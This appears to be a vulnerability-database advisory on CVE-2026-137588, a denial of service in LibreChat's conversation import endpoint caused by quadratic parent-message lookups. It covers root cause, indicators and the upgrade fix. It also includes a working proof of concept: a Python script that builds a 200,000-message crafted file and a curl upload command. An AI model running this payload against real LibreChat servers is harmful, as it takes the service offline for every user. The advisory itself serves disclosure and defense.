Vulnerability DatabaseCVE-2026-137588

CVE-2026-137588: 
Chainguard vulnerability analysis and mitigation

Overview

CVE-2026-137588 is a Denial of Service (DoS) vulnerability in LibreChat affecting versions 0.7.6 through 0.8.7 (before 0.8.8). An authenticated user can upload a crafted conversation import file to the POST /api/convos/import endpoint, triggering quadratic (O(n²)) processing in the cloneMessagesWithTimestamps or adjustTimestampsForOrdering functions, which blocks the Node.js event loop for minutes and denies service to all users. The vulnerability was disclosed on November 26, 2026, with a patch released in version 0.8.8. It carries a CVSS v3.1 base score of 6.5 (Medium) and a CVSS v4.0 base score of 7.1 (High) (Github Advisory, LibreChat Advisory).

Technical details

The root cause is inefficient algorithmic complexity (CWE-407) in the conversation import processing pipeline. The vulnerable code in api/server/utils/import/fork.js performs a linear scan (Array.find) over the growing output message list for every message being processed, resulting in O(n²) complexity when resolving parent-child message relationships. Specifically, when an attacker submits a large number of messages with unresolvable parentMessageId values (e.g., all pointing to a non-existent root), the cloneMessagesWithTimestamps function iterates through the entire importBatchBuilder.messages array for each message to find its parent, and the default accepted upload size is 250 MiB. Because the import runs synchronously on the request thread (inline await importConversations), this computation blocks the single-threaded Node.js event loop, making the server unresponsive to all concurrent users. A secondary sink exists in the ChatGPT-format importer at importers.js:716-730 (LibreChat Advisory, Vulnerable Code).

Impact

Successful exploitation causes a complete availability outage for all users of the affected LibreChat instance, as the Node.js event loop can be stalled for minutes by a single authenticated request. There is no impact on confidentiality or data integrity — the attack is purely a denial of service. Because LibreChat is a multi-user AI chat platform, even a single low-privileged user account can render the entire service unresponsive, and the rate limit of 50 imports per user per 15 minutes still permits repeated attacks (LibreChat Advisory, Github Advisory).

Exploitability

No public proof-of-concept exploit code is known to exist beyond the PoC steps included in the maintainer-accepted security advisory itself. There is no evidence of in-the-wild exploitation, no known threat actor attribution, and the EPSS score is 0.0. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Despite the low barrier to exploitation — requiring only a valid authenticated session and a crafted JSON file — the lack of weaponized tooling reduces immediate risk (Github Advisory, LibreChat Advisory).

Exploitation steps

  1. Obtain authentication: Register or log in to the target LibreChat instance to obtain a valid JWT bearer token. Any standard user account is sufficient.
  2. Generate a malicious import file: Create a JSON file containing a large number of messages (e.g., 200,000) all referencing a non-existent parentMessageId (e.g., "root"), formatted as a LibreChat conversation export:
import json
N = 200000
msgs = [{"messageId": f"m{i}", "parentMessageId": "root", "text": "x", "sender": "User", "isCreatedByUser": True} for i in range(N)]
doc = {"conversation": {"title": "dos"}, "messages": msgs, "options": {"format": "LibreChat"}}
open("dos.json", "w").write(json.dumps(doc))
  1. Upload the malicious file: Submit the crafted file to the import endpoint using a multipart POST request with the valid bearer token:
curl -i -s -X POST http://<target>:3080/api/convos/import \
  -H 'Authorization: Bearer <JWT_TOKEN>' \
  -F 'file=@dos.json;type=application/json'
  1. Observe denial of service: During processing, the Node.js event loop is blocked by the O(n²) parent lookup loop. All other requests to the server stall for the duration (observed at ~47 seconds in testing with 200,000 messages), denying service to all users (LibreChat Advisory).

Indicators of compromise

  • Network: Unusually large multipart POST requests to /api/convos/import (potentially hundreds of megabytes, up to the 250 MiB default limit); repeated import requests from the same authenticated user within a short window.
  • Logs: Server access logs showing POST requests to /api/convos/import followed by a prolonged absence of other request completions; Node.js process appearing hung or unresponsive in application performance monitoring.
  • Process: Node.js process consuming 100% CPU for extended periods (minutes) without completing; health check endpoints (e.g., /api/config) timing out or returning after extreme delays (tens of seconds).
  • Application: All users experiencing simultaneous request timeouts or failures during the event loop block period; rate-limit logs showing a single user account hitting the import endpoint repeatedly (up to 50 times per 15 minutes) (LibreChat Advisory).

Mitigation and workarounds

The primary remediation is to upgrade LibreChat to version 0.8.8 or later, which linearizes the conversation import lineage processing via PR #15881 (commit e43fed2), replacing the O(n²) per-message linear parent lookups with indexed maps for O(n) performance. As a workaround prior to patching, administrators should restrict access to the /api/convos/import endpoint to trusted users only, and monitor for suspicious large import file submissions. Additionally, reducing the default 250 MiB upload size limit for import files can reduce the maximum impact of an attack (LibreChat Release, Fix Commit).

Community reactions

The vulnerability was reported by security researcher HarshKumar09 and accepted by the LibreChat maintainer (danny-avila), who assessed it as medium severity and released a fix in v0.8.8. The maintainer's audit note clarified that the fix scope covers only the reported quadratic-lineage processing, not all possible import resource issues, and that the fix does not certify arbitrary third-party or stale container images as patched. No significant broader media coverage or notable community discussion beyond the official advisory has been identified (LibreChat Advisory).

Additional resources


Source: This report was generated using AI

Related Chainguard vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-137490HIGH8.7
  • Chainguard logoChainguard
  • surrealdb
NoYesNov 26, 2026
CVE-2026-137588HIGH7.1
  • Chainguard logoChainguard
  • cpe:2.3:a:librechat:librechat
NoYesNov 26, 2026
CVE-2026-137489MEDIUM5.3
  • Chainguard logoChainguard
  • surrealdb
NoYesNov 26, 2026
CVE-2026-137488MEDIUM5.3
  • Chainguard logoChainguard
  • surrealdb
NoYesNov 26, 2026
CVE-2026-137656LOW2.3
  • Chainguard logoChainguard
  • librechat
NoYesNov 26, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Additional Wiz resources

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management